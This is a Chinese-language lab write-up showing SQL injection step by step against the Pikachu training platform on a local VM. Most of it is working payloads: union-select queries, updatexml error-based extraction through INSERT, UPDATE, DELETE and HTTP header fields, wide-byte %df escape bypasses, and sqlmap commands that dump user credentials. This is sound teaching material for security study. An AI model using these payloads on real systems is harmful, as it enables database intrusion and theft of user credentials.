sql注入-基于pikachu靶场学习之SQL注入

发布时间 2023-07-27 11:07:28作者: MrNF

sql注入(pikachu靶场学习之SQL注入)

环境准备

环境:wmware,安装两台win10的虚拟机在服务器上部署服务,在客户机上进行安全测试

声明:不涉及互联网上的资源,学习都在内网完成,一切皆用于学习记录,不可用于其他用途

win10服务器:192.168.59.132

win10客户机:192.168.59.130

涉及到的软件:

​ Burp Suite Professional v2.0beta(自行搜索安装)

​ 浏览器:火狐(这个不重要,随便)

服务部署用phpstudy部署pikachu漏洞平台(自行baidu查然后自己部署,有很多写得很全面的。有一个小坑,部署完,去phpstudy添加一个pikachu的数据库,然后去pikachu的配置文件找到config.inc.php这个文件,修改数据库信息)

话不多说,直入主题

1.数字型注入

image-20230726103919290

image-20230726104055812

设置代理后抓包:

image-20230726104128615

image-20230726104254525

然后点代理右边那个Repeater ,id=1 开始测试,返回正常,无报错:

image-20230726104533601

修改 id=1‘ 继续发包 发现报错了:

image-20230726104818183

继续修改:id=1' and '1'='1 ,依旧报错 可以猜想这是一个数字型的注入了

image-20230726105136401

修改id=1 and 1=1 无报错产生,可以断定这是数字型的注入(靶场明确告诉我们这是什么类型,但事实上需要我们一步一步摸索、明确注入类型)

image-20230726105352076

image-20230726105604014

现在进行字段的判断:

id=1 order by 1

image-20230726110006892

id=1 order by 2

image-20230726110033496

id=1 order by 3 报错了,说明只有两个

image-20230726110100076

id=1 union select 1,2 判断字段的回显位置

image-20230726110218440

查询数据库名字,版本--和我内网服务器的数据库版本一致:

image-20230726110421561

image-20230726110757109

image-20230726110859068

查询表名

where table_schema=database()查询限制条件:当前的pikachu数据库

information_schema.tables 所有表名

table_name 表名

group_concat()简而言之就是显示在一行(可自行baidu深入学习)

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

image-20230726111352877

查询字段名

由上面查询得到的users表名去查询字段

column_name 字段名

columns 字段

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

image-20230726112527768

直接查询出来数据:

上面得到username和password字段

id=1 union select username,password from users

image-20230726113051981

2.字符型注入

话不多说,判断方法和上面方法一样,直接梭哈

这里要看请求体的里面的name=1 即是pikachu漏洞平台的输入框的1

image-20230726113752811

name=1' 直接报错

image-20230726113945112

name=1'and'1'='1

image-20230726114130139

两个方法

方法一:(不用抓包了,没意义)

1.测试判断字段数

1' order by 1#

1' order by 2#

1' order by 3# 这个报错了,说明只有两个字段

image-20230726120100154

2.测试回显位置

1' union select 1,2#

image-20230726120341014

3.查询数据库

1' union select 1,database()#

image-20230726120625786

4.查表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

image-20230726120801893

5.查字段

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

image-20230726121105427

6.查数据

1' union select username,password from users #

image-20230726121305765

方法二:万能密码(这个没什么好说的,原理可以baidu学习一下)

1' or 1=1# 下面操作差不多

image-20230726114758080

vince' order by 2#

vince' union select 1,database()#

vince' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

vince' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

vince' union select username,password from users#

3.搜索型

本质还是字符,只是闭合不一样

注:十六进制:23 就是 #

随便搜索了个dd

得到一个url:

http://192.168.59.132/pikachu-master/vul/sqli/sqli_search.php?name=dd&submit=搜索

name=dd&submit=%E6%90%9C%E7%B4%A2 由这个可以看出是由%闭合的

测试一下:?name=dd%123%23&submit=%E6%90%9C%E7%B4%A2

image-20230726124947708

可以验证了上面的结论

开干

%' order by 1%

%' order by 2%

%' order by 3%

%' order by 4% 报错 说明只有3个字段

image-20230726125414734

%' union select 1,2,3% 查询回显位置

image-20230726125616014

查数据库:

%' union select 1,2,database()%

查表:

%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%

查字段:

%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%

查数据:

%' union select id,username,password from users%

结果:

image-20230726130305218

4.xx型

本质是字符注入,稍稍比上面麻烦点

查询一下pikachu

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu&submit=查询

无报错

再搜索pikachu'

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu'&submit=%E6%9F%A5%E8%AF%A2

有报错了,根据报错提示信息,得知是)闭合

image-20230726134739112

验证一下)闭合

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu')%23&submit=%E6%9F%A5%E8%AF%A2

image-20230726135113163

直接上才艺:

name=pikachu') order by 1%23

name=pikachu') order by 2%23

name=pikachu') order by 3%23

1和2都无报错,3报错,得知只有2个字段

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') order by 3%23&submit=%E6%9F%A5%E8%AF%A2

image-20230726135338028

查回显位置:

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,2%23&submit=%E6%9F%A5%E8%AF%A2

image-20230726135557803

查数据库:

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,database()%23&submit=%E6%9F%A5%E8%AF%A2

image-20230726135805683

查表:

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23&submit=%E6%9F%A5%E8%AF%A2

image-20230726135842545

查字段:

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23&submit=%E6%9F%A5%E8%AF%A2

image-20230726135925113

查数据:

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select username,password from users%23&submit=%E6%9F%A5%E8%AF%A2

image-20230726140048389

5.insert/update

5.1insert

点注册,然后用bp抓包

image-20230726144425231

测试闭合:

username=666666','66')&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit

报错了

修改:username=666666','&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit

报错raw数不行

修改:username=666666','66','66','66','66','66')#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit

注册成功,证明是'号闭合

image-20230726144847765

由上可知,SQL语句错误时会报错,可以使用报错注入

用updatexml()函数来构造注入payload

username=666666' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit

or或者and都行,最后可以不用#,第一个参数的单引号闭合就ok。0x7e是~回显是-,估计是平台问题?不得而知

image-20230726145823070

查用户:

image-20230726145941027

查数据库版本:

image-20230726150016606

路径:

image-20230726150813931

image-20230726150604586

嗯,两次结果拼在一起是完整的数据文件保存路径

开干:

先拆分一下payload

select group_concat(table_name) from information_schema.tables where table_schema=database()

updatexml() 函数
UPDATEXML (XML_document, XPath_string, new_value);

一:XML_document是String格式,为XML文档对象的名称

二:XPath_string (Xpath格式的字符串)

三:new_value,String格式,替换查找到的符合条件的数据

​ 函数对XPath_string进行查询操作,如符合语法格式要求,用第三个参数替换,对于不符合语法格式要求的,报错并带出查询的结果

updatexml(1,concat(0x7e,substr(( ),1,31),0x7e),1)

substr(string, start,) 长度大于31就行

username=' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit

image-20230726151647517

表:

' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '

' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) or '

列:

' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '

' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,31),0x7e),1) or '

' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),63,31),0x7e),1) or '

数据:

' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1) or '

' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),32,31),0x7e),1) or '

substr的第2个参数等于前一次的第2个参数加31

5.2update

测试闭合,单个'报错 ,两个'不报错,所以是'号闭合

数据库:

sex=22222222' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit

image-20230726154513979

表:

sex=22222222' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit

image-20230726154620348

列:

sex=22222222' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit

image-20230726154745789

数据:

sex=22222222' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit

image-20230726154915449

6.delete注入

bp抓包,先留言后删除

找到:http://192.168.59.132/pikachu-master/vul/sqli/sqli_del.php?id=56

开干开干

库:

or updatexml(1,concat(0x7e,(select database()),0x7e),1)

image-20230726161314869

表:

or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)

image-20230726161334770

列:

or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1)

image-20230726161538746

数据:

or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'----',password)) from users),1,31),0x7e),1)

image-20230726161851514

7.http header注入

登录(admin,123456),抓包

一般可获取头部的信息用于数据分析

通过请求头部也可以向数据库发送查询信息

构造恶意语句可以对数据库进行信息查询

image-20230726162908010

image-20230726164412381

Accept:属于http请求头,描述客户端希望接收的响应body 数据类型

总的来说就是希望服务器返回什么样类型的数据

Content-Type:发送端(客户端|服务器)发送的实体数据的数据类型。

Accept:1 无报错,Accept:1' 报错 可以知道存在注入的可能

这用报错回显

库:

Accept:1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

image-20230726170056625

表:

Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '

image-20230726170916635

列:

Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '

image-20230726171104440

数据:

Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'+',password)) from users),1,31),0x7e),1) or '

image-20230726171727199

8.boolian的盲注

方法一:

手工去干去猜!还是不聊了

自行baidu吧!!!!

方法二:

新工具人:sqlmap(自行去GitHub搜索安装)

用软件sqlmap爆破,艾玛,真香

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_b.php?name=777&submit=查询" --current-db

python sqlmap.py -u "url" --current-db

获取数据库名:

image-20230726221536487

获取数据表:

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_b.php?name=777&submit=查询" -D pikachu --tables

python sqlmap.py -u "url" -D pikachu --tables

image-20230726221652738

获取列:

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_b.php?name=777&submit=查询" -D pikachu -T users --columns

python sqlmap.py -u "url" -D pikachu -T users --columns

image-20230726222117534

获取数据:

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_b.php?name=777&submit=查询" -D pikachu -T users -C username,password --dump

python sqlmap.py -u "url" -D pikachu -T users -C username,password --dump

image-20230726222625530

方法三:

python的脚本,可以去baidu了解了解

(高呼!!!工具小子真香!!!!)

9.time盲注

方法一:

手工猜猜猜!!!

不說!!自行baidu

方法二:

sqlmap爆破

查数据库:

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_t.php?name=777&submit=查询" -dbs

python sqlmap.py -u "url" -dbs

image-20230726224314206

查表:

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_t.php?name=777&submit=查询" -D pikachu --tables

python sqlmap.py -u "url" -D pikachu --tables

image-20230726225227342

查列:

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_t.php?name=777&submit=查询" -D pikachu -T users --columns

python sqlmap.py -u "url" -D pikachu -T users --columns

image-20230726230147607

查数据:

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_t.php?name=777&submit=查询" -D pikachu -T users -C id,username,password --dump

python sqlmap.py -u "url" -D pikachu -T users -C id,username,password --dump

image-20230726231944745

方法三:

python脚本,自行baidu!!!

10宽字节注入

原理:
宽字节注入有addslashes,mysql_escape_string,mysql_real_escape_string等转义的函数

​ 对输入'符号进行了转义'

pikachu靶场是addslashes()进行了转义

单引号(')
双引号(")
反斜杠(\)
NULL
在下方设置编码时设置为了gbk编码

利用反斜杠编码为%5c

用%df构成(連)字绕过对 ’符号 的转义

简而言之,就是由于编码的问题,用%df' 可以绕过对‘的转义

开干!!!

bp抓包,随便输入1,点击查看转到repeater:

查字段:

1%df' order by 2#

1%df' order by 3# 有错误产生

image-20230726191148315

查位置:

1%df' union select 1,2#

image-20230726192615039

查版本:

1%df' union select 1,@@version#

查数据库:

1%df' union select 1,database()#

查表:

1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

image-20230726193358985

查列:

按上面的方法会被转义处理掉,报错

所以只能嵌套:

1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1))#

拆分后更好理解(*表示下一句所在位置):

1%df' union select 1,*# //第一句

(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(*) //第二句

select table_name from information_schema.tables where table_schema=(select database())limit 3,1) //第三句

image-20230726195820115

查数据:

1%df' union select username,password from users#

image-20230726195746815

pikachu的SQL靶场到此为止

:未经同意请勿转载,仅作学习使用。以上有描述不正确之处,望大家能不吝指出,共同学习共同进步。谢谢